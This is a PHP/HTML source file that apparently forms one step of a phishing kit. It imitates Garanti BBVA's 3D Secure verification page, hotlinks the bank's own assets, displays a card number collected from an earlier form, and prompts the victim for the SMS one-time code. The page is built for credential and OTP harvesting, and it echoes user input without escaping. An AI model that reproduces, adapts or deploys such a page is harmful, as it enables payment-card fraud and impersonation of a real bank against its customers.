<?php 
include_once('../inc/helper.php');
session_start();
ob_start();
$issuer = $data['Issuer'];
$userIP = getUserIP();
?>

<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>3D Secure Doğrulama Kodu Girişi | Garanti Ödeme Sistemleri</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Expires" content="0">
  
  <!-- FontAwesome CDN -->
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">

  <link rel="stylesheet" href="https://gbemv3dsecure.garanti.com.tr/css/fonts.css">
  <link rel="stylesheet" href="https://gbemv3dsecure.garanti.com.tr/css/styles.css">
  <script type="text/javascript" src="https://gbemv3dsecure.garanti.com.tr/js/jquery-3.3.1.min.js"></script>

</head>
<body class="threed-page">
<div class="container h-100">
  <div id="js-main" class="row justify-content-center align-items-center" style="height: 600px;">
    <div class="box">
      <div class="shadow px-2 px-sm-4 pb-1 theme-garanti">
        <div class="px-2 pt-2">
          <!--<form name="acsform" action="" method="POST" id="form">-->
            <div class="row m-0 title">
              <div class="col-6 text-left px-0 pt-1">
                <img height="39" width="64" src="https://gbemv3dsecure.garanti.com.tr/assets/img/issuer.png">
              </div>
              <div class="col-6 text-right px-0 pt-1">
                <div>
                  <img src="https://gbemv3dsecure.garanti.com.tr/assets/img/psimage_mc.png">
                </div>
              </div>
            </div>

            <h6 class="text-center mb-4 font-weight-bold">3D SECURE ÖDEME DOĞRULAMA</h6>

            <div class="summary">
              <ul>
                <li>
                  <label>Tutar</label>
                  <span class="total-value"><?php echo $totalPrice; ?> TRY</span>
                </li>
                <li>
                  <label>Mağaza</label>
                  <span>PAYCELL/KARACA</span>
                </li>
                <li>
                  <label>Kart No</label>
                  <span><?php echo $_POST['cc_number']; ?></span>
                </li>
                <li>
                  <label>Tarih</label>
                  <span><?php echo date("d-m-Y H:i:s"); ?></span>
                </li>
              </ul>
            </div>

            <input type="hidden" name="acsTransID" value="c2527d96-7666-47a8-8aca-4f6c762bccbb">
            <input type="hidden" name="phaseCode" value="1">

            <div class="form-group mb-4">
              <label id="suAnkiMesaj" for="otp"><strong><?php echo $_SESSION['tel']; ?></strong> telefon numaranıza gönderilen <strong></strong> doğrulama şifresini giriniz.</label>
                <label id="bekleMesaj" for="otp" style="display:none"><strong>Lütfen bekleyin, işleminiz gerçekleştiriliyor...</label>
              <input type="password" class="form-control form-pin js-validate" id="otp" name="otp" autocomplete="one-time-code" textcontenttype="oneTimeCode" placeholder="6 haneli şifreyi girin" data-validate-pin="6" maxlength="6">
              <div class="invalid-feedback js-validate-msg"></div>
              <input type="hidden" id="otpPassword" name="otpPassword">
            </div>

            <div class="form-group">
              <button id="sifreGONDER" value="utton" class="btn btn-primary btn-block" >GÖNDER</button>
            </div>


            <span id="hataAciklama" style="color: rgba(230, 0, 0, .9);"></span>

            <div class="text-center font-weight-bold py-2 pb-sm-0 mb-3" style="display: block">
              <label>BonusFlaş'tan 3D Secure Mobil Onay'ı kullanmak için telefon ayarlarından BonusFlaş bildirimlerine izin vermelisiniz.</label>
            </div>

            <div class="text-center font-weight-bold py-2 pb-sm-0 mb-3" style="display: none">
              <input type="checkbox" name="downloadbonus" class="form-check" id="downloadbonus">
              <label for="downloadbonus">Daha hızlı bir 3D Secure Ödeme Doğrulama deneyimi için BonusFlaş mobil uygulamasını indirmek istiyorum.
                <img width="20" height="23" src="/assets/img/logo-bonus.png">
              </label>
            </div>

            <div class="border-top border-color-light fs-10">
              <button type="button" class="btn btn-link d-block no-underline pl-2 pr-0 w-100 js-acc-btn">
                <span class="float-left d-block">Daha fazla bilgi</span>
              </button>
              <p class="px-4 pb-3 d-none">
                GSM numarası bilgilerinizi tüm şubelerimizden veya <a href="#">Paramatik</a>’lerimizden günceleyebilirsiniz.
              </p>
            </div>

            <div class="border-top border-color-light fs-10">
              <button type="button" class="btn btn-link d-block no-underline pl-2 pr-0 w-100 js-acc-btn">
                <span class="float-left d-block">Yardım</span>
              </button>
              <p class="px-4 pb-3 d-none">Garanti BBVA Müşteri İletişim Merkezi <a href="tel:+904440333">+90 444 0 333</a>.
              </p>
            </div>

            <div class="border-top border-color-light fs-10">
              <button type="submit" name="cancel" value="cancelButton" class="btn btn-link d-block no-underline pl-2 pr-0 w-100 js-acc-btn" onclick="confirmUser(event)">
                <span class="float-left d-block">İptal</span>
              </button>
            </div>
            
            <input type="hidden" id="generatedElement">
          <!--</form>-->
        </div>
      </div>
    </div>
  </div>
</div>

</body>
</html>
